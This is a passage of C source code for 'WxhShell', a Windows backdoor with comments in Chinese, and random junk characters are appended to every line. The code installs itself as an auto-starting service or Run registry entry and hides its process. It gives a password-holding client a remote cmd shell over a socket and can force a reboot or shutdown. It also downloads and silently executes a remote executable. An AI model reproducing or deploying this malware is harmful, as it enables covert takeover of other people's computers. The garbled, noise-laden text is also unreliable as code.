    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i=1crJ:  
    else { EJRkFn8XG'  
    closesocket(wsh); Ke=+D'=  
    ExitThread(0); oz]&=>$1I  
    } \ \Tz'>[\  
    break;  D[}^G5  
    } t&NpC;>v  
  // 关机 RWX!d54&  
  case 'd': { ,7k-LAA  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ALcPbr  
    if(Boot(SHUTDOWN)) z"mpw mv5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Go^TTL   
    else { cx ("F /Jm  
    closesocket(wsh); h&n1}W+  
    ExitThread(0); s~bi#U;dF  
    } ~I9o *cq  
    break; p&5>j\uJ1&  
    } y/kB`Z(Yj  
  // 获取shell 0igB pHS  
  case 's': { @rA V;D%  
    CmdShell(wsh); =9W\;xE S  
    closesocket(wsh);  rV4K@)~  
    ExitThread(0); sH_, P  
    break; 3~V .  
  } Lis>Qr  
  // 退出 2Q\\l @b\  
  case 'x': { GNEPb?+T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); # 5U1F[  
    CloseIt(wsh); M] +.xo+A  
    break; 0 x' d^  
    } d0C _:_  
  // 离开 U]w"T{;@.)  
  case 'q': { KV$4}{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FvG?%IFM  
    closesocket(wsh); aWH  
    WSACleanup(); Zd%wX<hU"  
    exit(1); XogCq?_m  
    break; v;U5[  
        } rGXUV`5Na  
  } %vm_v.Q4)  
  } X,#~[%h$-=  
(vX< B h  
  // 提示信息 vC `SD]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1_A_)l11  
} { PJ>gX$  
  } Gk/cP`  
A<"< DDy  
  return; GBWL0'COV  
} PB7-`uz  
j;7E+Yp  
// shell模块句柄 Bf]Bi~w<  
int CmdShell(SOCKET sock) "P54|XIJ\  
{ ?FjnG_Uz`D  
STARTUPINFO si; Wz"H.hf  
ZeroMemory(&si,sizeof(si)); iU37LODa2T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #.[eZ[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KX 7 fgC  
PROCESS_INFORMATION ProcessInfo; B2P@9u|9  
char cmdline[]="cmd"; @SpP"/)JY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZTz07Jt  
  return 0; ; :q  
} m4m|?  
%>_6&A{K,d  
// 自身启动模式 %=Z/Frd  
int StartFromService(void) Ie(.T2K  
{ _MLf58  
typedef struct %D8.uGsh  
{ 3+s$K(%I  
  DWORD ExitStatus; W]7/ e  
  DWORD PebBaseAddress; a!-J=\>9  
  DWORD AffinityMask; c.b| RM0;  
  DWORD BasePriority; **kix  
  ULONG UniqueProcessId; YURMXbj  
  ULONG InheritedFromUniqueProcessId;  X(X[v]  
}   PROCESS_BASIC_INFORMATION; ,Kl?-W@  
%Nv w`H  
PROCNTQSIP NtQueryInformationProcess; qIQRl1Tw;V  
*o4a<.hd2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uc'}y!R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V+y"L>K  
Up'#OkTx  
  HANDLE             hProcess; &KAe+~aPm  
  PROCESS_BASIC_INFORMATION pbi; /e?0Iv" 8>  
:v;U7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~IjID  
  if(NULL == hInst ) return 0; _p+E(i 9  
)7NI5x^$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $--+M D29Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5B4/2q=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h]k $K  
h_S>Q  
  if (!NtQueryInformationProcess) return 0; F;8Q`$n  
Q=fl!>P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4C%pKV  
  if(!hProcess) return 0; <Nqbp  
{.jW"0U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y$\|rD^f  
matna  
  CloseHandle(hProcess); :op_J!;  
],S {?!'1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F]?] |nZZ  
if(hProcess==NULL) return 0;  =g M@[2  
3N|z^6`#  
HMODULE hMod; Wu'qpJ  
char procName[255]; 7 [1|(6$  
unsigned long cbNeeded; iW>^'W#  
%kV7 <:y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,>S7c  
cPNc$^Y  
  CloseHandle(hProcess); O.ce=E  
E'DHO2 Y  
if(strstr(procName,"services")) return 1; // 以服务启动 |?2fq&2  
7g(Z @  
  return 0; // 注册表启动 (BeJ,K7  
} 6`@J=Q?  
#o4tG  
// 主模块 -dBWpT  
int StartWxhshell(LPSTR lpCmdLine) 2a48(~<_  
{ U|%}B(  
  SOCKET wsl; +jwHYfAK)  
BOOL val=TRUE; `w\P- q  
  int port=0; 9yC22C:  
  struct sockaddr_in door; tOLcnWt   
~vt9?(h  
  if(wscfg.ws_autoins) Install(); :vG0 l\  
n*=#jL  
port=atoi(lpCmdLine); p\ ;|Z+0=  
M\5|  
if(port<=0) port=wscfg.ws_port;  k-=LD  
aW&)3C2-x  
  WSADATA data; II}M|qHaK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iP"sw0V8  
.E}lAd.Mn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I"vkfi#=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X]D,kKasG  
  door.sin_family = AF_INET; DI{*E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9"]#.A^Q*  
  door.sin_port = htons(port); ucx02^uA  
}}QR'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3>@VPMi  
closesocket(wsl); }\?9Prsd  
return 1; -;L'Jb>s76  
} , i5_4  
?}4,s7PR  
  if(listen(wsl,2) == INVALID_SOCKET) { ([dd)QU  
closesocket(wsl); jTcv&`fAz  
return 1; ZDW=>}~_y  
} ;x/eb g  
  Wxhshell(wsl); lnyfAq}w  
  WSACleanup(); Y -a   
<SI|)M,, 3  
return 0; V+O,y9  
6~x'~T  
} 2]]v|Z2M4  
KddCR&  
// 以NT服务方式启动 PVBz~rG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~E7IU<B  
{ =,#--1R7g  
DWORD   status = 0; Ct w<-'  
  DWORD   specificError = 0xfffffff; UgC65O2  
\}?X5X>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $0E+8xE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8'8`xu$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bHe' U>  
  serviceStatus.dwWin32ExitCode     = 0; nm,LKS7  
  serviceStatus.dwServiceSpecificExitCode = 0; F^NK"<tW  
  serviceStatus.dwCheckPoint       = 0; <]M. K3>  
  serviceStatus.dwWaitHint       = 0; Wjw ,LwB  
aIV / c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x1.S+:  
  if (hServiceStatusHandle==0) return; /q]rA  
f|~{j(.v  
status = GetLastError(); T"_'sSI>tF  
  if (status!=NO_ERROR) rQVX^  
{ {}$7Bp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EyE#x_A  
    serviceStatus.dwCheckPoint       = 0; Z_\p8@3aH  
    serviceStatus.dwWaitHint       = 0; MVsFi]-  
    serviceStatus.dwWin32ExitCode     = status; QkdcW>:a7  
    serviceStatus.dwServiceSpecificExitCode = specificError; y(p_Unm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r[a7">n  
    return; "^n,(l*4x  
  } J{1H$[W~}  
Zp9. ~&4o-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EJ9hgE  
  serviceStatus.dwCheckPoint       = 0; a4__1N^Qj  
  serviceStatus.dwWaitHint       = 0; U\Wo&giP[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tbd=A]B-  
} l[38cF  
,|({[ 9jA  
// 处理NT服务事件,比如:启动、停止 kO}&Oi,?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xV)[C )6  
{ bx8](cT_  
switch(fdwControl) dz] 5s  
{ m0"K^p  
case SERVICE_CONTROL_STOP: TmQIpeych  
  serviceStatus.dwWin32ExitCode = 0; MIrx,d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~P1~:AT  
  serviceStatus.dwCheckPoint   = 0; P2-&Im`+  
  serviceStatus.dwWaitHint     = 0; {_O!mI*  
  { o eU i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); go uU  
  } >%j%Mj@8q|  
  return; >1Z"5F7=  
case SERVICE_CONTROL_PAUSE: ' rcqy1-&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v 3I^81  
  break; \!-BR0+y;  
case SERVICE_CONTROL_CONTINUE: "+F'WCJ-(*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y>P+"Z.K%}  
  break; $oK&k}Q  
case SERVICE_CONTROL_INTERROGATE: CJ :V%|  
  break; !qt2,V  
}; Pb#M7=J/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mH'~pR>t  
}  8b2 =n  
}X&rJV  
// 标准应用程序主函数 <-umeY"n>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uZ!YGv0^  
{ YX0ysE*V:&  
;.A}c)b  
// 获取操作系统版本 #X}HF$t{=  
OsIsNt=GetOsVer(); i+*!" /De  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P=QxfX0B  
9r!8BjA  
  // 从命令行安装 %=`JWLLG  
  if(strpbrk(lpCmdLine,"iI")) Install(); /,Xl8<~#  
Hc)z:x;Sj  
  // 下载执行文件 {{?g%mQ6  
if(wscfg.ws_downexe) { Xu]~vik  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2?JV "O=  
  WinExec(wscfg.ws_filenam,SW_HIDE); .A2$C|a*  
} =&WIa#!=  
'a ['lF  
if(!OsIsNt) { 5?kfE  
// 如果时win9x,隐藏进程并且设置为注册表启动 Jj"{C]  
HideProc(); {>f"&I<xw  
StartWxhshell(lpCmdLine); ZEP?~zV\A  
} uzy5rA==  
else h: ' |)O  
  if(StartFromService()) #Iw(+%D  
  // 以服务方式启动 $ Habhw  
  StartServiceCtrlDispatcher(DispatchTable); jx: IK  
else q< JCgO-F<  
  // 普通方式启动 $TI^8 3  
  StartWxhshell(lpCmdLine); 4b8G 1fm  
9L=mS  
return 0; 7*!7EBb  
} 95l)s],  
u\]EG{w(  
uE-(^u  
4ax{Chn  
=========================================== ~KBa-i%o  
kA:mB;:  
zJe KB8  
oP&/>GmXL  
z5E%*]  
aSzI5J]/=  
" `q^#u  
L:$4o  
#include <stdio.h> ge~@}&#iO@  
#include <string.h> *]$B 9zVs!  
#include <windows.h> DX s an  
#include <winsock2.h> :<QknU}dwy  
#include <winsvc.h> d*@T30  
#include <urlmon.h> XUqorE  
Eb8pM>'qM  
#pragma comment (lib, "Ws2_32.lib") //R"ZE@d\  
#pragma comment (lib, "urlmon.lib") 8 #_pkVQw:  
|R`"Zu`  
#define MAX_USER   100 // 最大客户端连接数 M3(N!xT  
#define BUF_SOCK   200 // sock buffer fF@w:;u  
#define KEY_BUFF   255 // 输入 buffer ;qshd'?*  
Bn}woyJdx  
#define REBOOT     0   // 重启 \T7Mt|f:5  
#define SHUTDOWN   1   // 关机 (jT)o,IW&  
Ep7MU&O0iK  
#define DEF_PORT   5000 // 监听端口 6d-\+ t8  
4&iQo'  
#define REG_LEN     16   // 注册表键长度 m2(>KMbi  
#define SVC_LEN     80   // NT服务名长度 4Yj1Etq.E  
.ZTvOm'mB^  
// 从dll定义API Ez3fL&*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {w@qFE'b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o`bch? ]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xye-Z\-t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g6GkA.!X$  
%~u]|q<{  
// wxhshell配置信息 ^P) f]GQx  
struct WSCFG { K@JZ$  
  int ws_port;         // 监听端口 W__ArV2Z_  
  char ws_passstr[REG_LEN]; // 口令 #@R0$x  
  int ws_autoins;       // 安装标记, 1=yes 0=no B `(jTL  
  char ws_regname[REG_LEN]; // 注册表键名 Q+:y  
  char ws_svcname[REG_LEN]; // 服务名 \ TV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Rs%`6et}\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LgqQr6y"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hlzB cz*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]3KeAJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }A)\bffH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 spEdq}  
e;]tO-Nu  
}; =rjU=3!&(  
"#Rh\DQ  
// default Wxhshell configuration %w;qu1j  
struct WSCFG wscfg={DEF_PORT, &V].,12x  
    "xuhuanlingzhe", yW_yHSx;  
    1, '6so(>|  
    "Wxhshell", vsY?q8+P  
    "Wxhshell", WtT;y|W  
            "WxhShell Service", R~vGaxZ$  
    "Wrsky Windows CmdShell Service", d$t"Vp  
    "Please Input Your Password: ", Q:}]-lJg  
  1, MpV<E0CmE  
  "http://www.wrsky.com/wxhshell.exe", /bo}I-<2  
  "Wxhshell.exe" Z)?$ZI@  
    }; <kh.fu@.Q  
-F5B Jk  
// 消息定义模块 [Vd$FDki  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X1j8tg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iT]t`7R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rh>B# \  
char *msg_ws_ext="\n\rExit."; $7x2TiAL  
char *msg_ws_end="\n\rQuit."; s8h*nZ)v  
char *msg_ws_boot="\n\rReboot..."; <b 5DX  
char *msg_ws_poff="\n\rShutdown..."; #:K=zV\  
char *msg_ws_down="\n\rSave to "; F/5&:e?( )  
R9XU7_3B  
char *msg_ws_err="\n\rErr!"; n]%- 2`}(  
char *msg_ws_ok="\n\rOK!"; TW|K.t@5#H  
VkQ@c;C  
char ExeFile[MAX_PATH]; kAftW '  
int nUser = 0; $8tk|uh  
HANDLE handles[MAX_USER]; D"7}&Ry:  
int OsIsNt; 55Ss%$k@  
`TrWtSwv  
SERVICE_STATUS       serviceStatus; )6"}M;v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K-RmB4WI  
Et=Pr+Q{c  
// 函数声明 JZ5k3#@e  
int Install(void); N\{"&e  
int Uninstall(void); W06aj ~7Z  
int DownloadFile(char *sURL, SOCKET wsh); ?cU,%<r  
int Boot(int flag); |]\zlH"w  
void HideProc(void); fY<#KM6X  
int GetOsVer(void); AwM`[`ReE  
int Wxhshell(SOCKET wsl); 7;>|9k  
void TalkWithClient(void *cs); q lc@$  
int CmdShell(SOCKET sock); !eX0Q 2  
int StartFromService(void); CPz<iU  
int StartWxhshell(LPSTR lpCmdLine); ?ZF):}r vZ  
Ailq,  c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6v`3/o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GZ%vFje_ K  
-/f$s1  
// 数据结构和表定义 *+M#D^qo  
SERVICE_TABLE_ENTRY DispatchTable[] = {j2V k)\[i  
{ mLCD N1UO{  
{wscfg.ws_svcname, NTServiceMain}, }b_Ob  
{NULL, NULL} U^m#!hp  
}; [WwoGg*)mn  
'l*X?ccKy  
// 自我安装 H& |/|\8F  
int Install(void) %>KbaM1b  
{ pMfb(D"  
  char svExeFile[MAX_PATH]; wQxI({k@  
  HKEY key; 1@]&iZ]  
  strcpy(svExeFile,ExeFile); ?f?5Kye  
C'6I< YX  
// 如果是win9x系统,修改注册表设为自启动 '$ei3  
if(!OsIsNt) { YxF@1_g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j.E=WLKV*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #GzALF97  
  RegCloseKey(key); nrac )W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t G_4>-Y#w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ASqYA1p.  
  RegCloseKey(key); U1\7Hcs$  
  return 0; `v*HH}aDO  
    } Wjb_H (D  
  } R)NSJ-A!2  
} $n<a`PdH  
else { h"FI]jK|}  
$1f2'_`8~  
// 如果是NT以上系统,安装为系统服务 BgQEd@cN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g'.OzD  
if (schSCManager!=0) ;1k& }v&  
{ E&U_1D9=L<  
  SC_HANDLE schService = CreateService >kXscbRL7  
  ( 7;jD>wp 9D  
  schSCManager, "O34 E?ql.  
  wscfg.ws_svcname, \|=6<ZY:  
  wscfg.ws_svcdisp, oe<i\uX8z  
  SERVICE_ALL_ACCESS, u\\t~<8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Hw \of  
  SERVICE_AUTO_START, (W}F\P  
  SERVICE_ERROR_NORMAL, WZQ2Mi<&1'  
  svExeFile, c'oiW)8;A  
  NULL, $ XjijD9R  
  NULL, \n<! ld  
  NULL, VLuHuih  
  NULL, 5m8u:6kQu  
  NULL )/RG-L  
  ); 4'QX1p  
  if (schService!=0) uw;Sfx,s  
  { x|O7}oj  
  CloseServiceHandle(schService); C;W@OS-;  
  CloseServiceHandle(schSCManager); OBi(]l}^O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YR?Y:?(  
  strcat(svExeFile,wscfg.ws_svcname); z; GQnAG@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wGyVmC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); __=53]jGE  
  RegCloseKey(key); 3FBLCD3  
  return 0; !se1W5ke#  
    } &'uP?r9c$  
  } ;cMQ 0e  
  CloseServiceHandle(schSCManager); '1mk;%  
} V}y]<  
} sT^R0Q'>  
(`(D $%  
return 1; 8$IKQNS  
} H/o_?qK  
K43%9=sM  
// 自我卸载 b-u@?G|<  
int Uninstall(void) 9nFL70  
{ Sn nfU  
  HKEY key; _3Eo{^  
u)@:V)z  
if(!OsIsNt) { <6UXk[y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PUR,r%K`  
  RegDeleteValue(key,wscfg.ws_regname); uu6 JZp  
  RegCloseKey(key); |  0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jQ{ @ol}n  
  RegDeleteValue(key,wscfg.ws_regname); BUXE s0]Lv  
  RegCloseKey(key); :-?ZU4)  
  return 0; Tg{5%~L]   
  } #/oH #/?  
} +ktv : d  
} %o?)`z9-  
else { D Q.4b  
A5nggg4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #b^6>  
if (schSCManager!=0) UarLxPQ  
{ \F|)w|v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '+9<[]  
  if (schService!=0) od=hCQ1 >  
  { orjtwF>^  
  if(DeleteService(schService)!=0) { p%DU1+SA  
  CloseServiceHandle(schService); sxT&T=7  
  CloseServiceHandle(schSCManager); QuR} 6C  
  return 0; cL9 gaD$;)  
  } $8\u  
  CloseServiceHandle(schService); "xlR>M6e  
  } jg]KE8(  
  CloseServiceHandle(schSCManager); h*Fv~j'p  
} 5zK,(cF0-  
} 6kAAdy}ck  
=@U5/J  
return 1; OBWb0t5H?  
} 'I,a 29  
+La2-I  
// 从指定url下载文件 ,`f]mv l  
int DownloadFile(char *sURL, SOCKET wsh) in>+D|q c  
{ , >7PG2 a  
  HRESULT hr; |]G%b[  
char seps[]= "/"; <|r|s  
char *token;  }u8(7  
char *file; Ta\F~$M  
char myURL[MAX_PATH]; u8c@q'_  
char myFILE[MAX_PATH]; Sr \y1nt  
;"M6}5dQ4  
strcpy(myURL,sURL); ~vXbh(MX  
  token=strtok(myURL,seps); k A3K   
  while(token!=NULL) t oGiG|L  
  { w[X-Q+7p(t  
    file=token; rl}<&aPH  
  token=strtok(NULL,seps); KKC%!Xy  
  } F!z ^0+H(  
8:0/Cj  
GetCurrentDirectory(MAX_PATH,myFILE); h *R@ d  
strcat(myFILE, "\\"); r^5%0_F]  
strcat(myFILE, file); 8i',~[  
  send(wsh,myFILE,strlen(myFILE),0); I8XP`Ccq  
send(wsh,"...",3,0); qur2t8gnxq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lie,A  
  if(hr==S_OK) ,zgz7  
return 0; ,sitOy}ks  
else +zh\W9  
return 1; UVux[qX<  
4EM+Ye  
} xt}.0dC!/%  
Gwk$<6E  
// 系统电源模块 ,8r?C!m]  
int Boot(int flag) C:J frg`  
{ O50_qu33ju  
  HANDLE hToken; u\ _yjv#  
  TOKEN_PRIVILEGES tkp; e|oMbTZ5m  
{D[6=\ F  
  if(OsIsNt) { )#i@DHt=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >ZJ]yhbhK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8&U Mmbgy  
    tkp.PrivilegeCount = 1; 0si1:+t-[+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :\[l~S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X,G<D}  
if(flag==REBOOT) { NK qI x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4s 7 RB  
  return 0; pg%(6dqK4  
} ,ayEZ#4.m  
else { !=eNr<:V.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <|l}@\iRX  
  return 0; iyn9[>j e  
} Xf4~e(O  
  } =803rNe  
  else { # >k|^*\  
if(flag==REBOOT) { X\`']\l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L2>e@p\>  
  return 0; |Y K,&  
} Cn/WNCzst&  
else { %T]$kF++&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 tOslP@  
  return 0; hEHd$tH06  
} PIU@ }:}  
} ]A2E2~~G  
B>nj{W<o  
return 1; t#"0^$l=  
} joI)6c  
<\O+  
// win9x进程隐藏模块 - )(5^OQ  
void HideProc(void) 1(@$bsgu2  
{ c:m=9>3  
f- (i%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \2kLj2!  
  if ( hKernel != NULL ) &%rM|  
  { l Xa/5QKC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wF`Y ,@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *b>RUESF  
    FreeLibrary(hKernel); t.8r~2(?  
  } V22z-$cb  
sQ`G'<!  
return; 6C VH)=%  
} d Gp7EB`  
jRjeL'"G  
// 获取操作系统版本 "r46Rfa  
int GetOsVer(void) RiQ ]AsTtl  
{ %)7t2D  
  OSVERSIONINFO winfo; HaVhdv3L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jMn,N9Mf  
  GetVersionEx(&winfo); Hk*1Wrs*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e' M&Eh  
  return 1; Imv#7{ndq  
  else N" L&Z4Z  
  return 0; l$&~(YE f  
} Os<E7l zqO  
F6}RPk\=i  
// 客户端句柄模块 WnG 2\(U  
int Wxhshell(SOCKET wsl) Kn:Ml4[;  
{ GqHW.s5  
  SOCKET wsh; 94-BcN  
  struct sockaddr_in client; k7iko{5D  
  DWORD myID; 4fs d5#  
ketp9}u  
  while(nUser<MAX_USER) bVzi^R"  
{ }O*`I(  
  int nSize=sizeof(client); @?<[//1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T)gulP  
  if(wsh==INVALID_SOCKET) return 1; ^7y t>  
3'.@aMA@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bVUIeX'  
if(handles[nUser]==0) n/skDx TE  
  closesocket(wsh); #B5,k|"/,M  
else o{y}c->  
  nUser++; ?)1Y|W'Rv  
  } xoo,}EY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K\2{SjL:B  
UiG/Rn  
  return 0; ZMQ=D!kT  
} 5Rl\& G\  
uj6'T Sl  
// 关闭 socket aB6xRn9  
void CloseIt(SOCKET wsh) Y]SF0:v!n  
{ o*H U^  
closesocket(wsh); >>J3"XHX  
nUser--; 1*=ev,Z  
ExitThread(0); j"nOxs  
} W+&5G(z~  
d AcSG  
// 客户端请求句柄 _H]^7`;  
void TalkWithClient(void *cs) ]"_c-=  
{ }AS/^E  
5z_d$.CIc  
  SOCKET wsh=(SOCKET)cs; 5VV}wR  
  char pwd[SVC_LEN]; 0<%$lr  
  char cmd[KEY_BUFF]; g[G /If  
char chr[1]; cR3d& /_,U  
int i,j; es*$/A  
Dylm=ZZa  
  while (nUser < MAX_USER) { F_*']:p  
W q<t+E[  
if(wscfg.ws_passstr) { I uxf`sd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FPYk`D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tkctwjD  
  //ZeroMemory(pwd,KEY_BUFF); /Q3>w-h  
      i=0; ~W21%T+  
  while(i<SVC_LEN) { |4mvB2r  
=#u4^%i)  
  // 设置超时 -i8KJzPL f  
  fd_set FdRead; `0NU c)`  
  struct timeval TimeOut; /u$'=!<b;  
  FD_ZERO(&FdRead); ==[(Mn,%d  
  FD_SET(wsh,&FdRead); KdCrI@^  
  TimeOut.tv_sec=8; Xd+H()nR  
  TimeOut.tv_usec=0; vb=]00c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~Y/A]N86,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  tA#$q;S  
*|=D 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k K=VG< :M  
  pwd=chr[0]; ;}+M2Ec51  
  if(chr[0]==0xd || chr[0]==0xa) { 8@rYT5e3c  
  pwd=0; ceG\Q2  
  break; hH`x*:Qja  
  } y5sH7`2+5  
  i++; tLOGj?/r  
    }  Gk~aTO  
r)|~Rs!y,  
  // 如果是非法用户,关闭 socket 2uEI@B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T!H(Y4A  
} } [#8>T  
NIQ}A-b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z^V;B _  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DKS1Sm6d0  
3 ZOD2: (  
while(1) { A1p~K*[[  
s^zlBvr|.  
  ZeroMemory(cmd,KEY_BUFF); IMWt!#vuY  
\>5sW8P]H`  
      // 自动支持客户端 telnet标准   ;$iT]S  
  j=0; ytY\&m  
  while(j<KEY_BUFF) { #1%@R<`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X]y8-}Qf  
  cmd[j]=chr[0]; 7 {92_xRL  
  if(chr[0]==0xa || chr[0]==0xd) { Z)|~  
  cmd[j]=0; aE'nW_f  
  break; \s#~ %l  
  } kx(beaf  
  j++; 1;/SXJ s  
    } b;VIR,2  
7"Xy8]i{z  
  // 下载文件 zn>lF  
  if(strstr(cmd,"http://")) { edMCj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G Uu8 N  
  if(DownloadFile(cmd,wsh)) R%3yxnM*  
